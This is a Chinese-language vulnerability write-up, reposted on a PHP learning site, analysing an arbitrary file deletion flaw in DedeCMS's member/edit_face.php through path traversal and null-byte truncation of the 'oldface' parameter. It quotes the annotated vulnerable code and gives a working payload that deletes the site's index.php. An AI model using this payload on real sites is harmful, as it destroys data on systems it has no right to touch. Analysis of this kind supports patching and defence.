来源:自学PHP网 时间:2015-04-17 14:11 作者: 阅读:次
[导读] 利用条件:magic_quotes_gpc=Off 可删除任意后缀文件magic_quotes_gpc=On 可删除jpg|gif|png后缀文件PHP版本要求支持空字节截断./member/edit_face.php 、./member/edit_space_info.php等文件都有类似的代码,......
利用条件:
magic_quotes_gpc=Off 可删除任意后缀文件 magic_quotes_gpc=On 可删除jpg|gif|png后缀文件 PHP版本要求支持空字节截断 ./member/edit_face.php 、./member/edit_space_info.php等文件都有类似的代码,用于修改用户头像和空间logo等图片。 但是程序对旧的的图片路径过滤不严(其实这个参数根本就没有必要让用户提交),从而导致用户可以删除任意文件或者删除任意图片。 此类漏洞网上早就爆出,但并不是只能删除jpg|gif|png类图片文件,在PHP版本支持空字节截断,且magic_quotes_gpc=Off的时候, 可以删除任意类型的文件。 以edit_face.php为例,这个文件还有一个SQL注射漏洞,可以导致管理员密码泄漏, 详见《DedeCMS几个最新bug分析》 // ./member/edit_face.php <?php require_once(dirname(__FILE__)."/config.php");//这里是关键,将影响漏洞的利用 //config.php的前两句很杯具,如下 //require_once(dirname(__FILE__).'/../include/common.inc.php'); //require_once(DEDEINC.'/filter.inc.php'); //这里造成变量覆盖 CheckRank(0,0); //检查用户注册情况 $menutype = 'config'; if(!isset($dopost)) { $dopost = ''; } if(!isset($backurl)) { $backurl = 'edit_face.php'; } if($dopost=='save') { $maxlength = $cfg_max_face * 1024; $userdir = $cfg_user_dir.'/'.$cfg_ml->M_ID; if(!preg_match("#^".$userdir."#", $oldface)) { $oldface = ''; } if(is_uploaded_file($face)) { // www.2cto.com 绕过上面乱七八糟的判断语句使程序流程进入这里 if(@filesize($_FILES['face']['tmp_name']) > $maxlength) { ShowMsg("你上传的头像文件超过了系统限制大小:{$cfg_max_face} K!", '-1'); exit(); } //删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg) if(preg_match("#.(jpg|gif|png)$#i", $oldface) && file_exists($cfg_basedir.$oldface)) { /*这里只判断了最后是否是.(jpg|gif|png)结尾以及文件是否存在,没有过滤'..'等恶意字符,可返回任意目录删除 绕过上面的正则和文件是否存在的判断 如果magic_quotes_gpc=Off因为上面存在的漏洞_RunMagicQuotes函数成了纸老虎 提交oldface=/f/uploads/userup/6/../../../index.php%00.png 可删除 网站根目录下的index.php */ @unlink($cfg_basedir.$oldface); //这里删除文件 } //上传新工图片 $face = MemberUploads('face', $oldface, $cfg_ml->M_ID, 'image', 'myface', 180, 180); } 作者: c4rp3nt3r@0x50sec.org |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com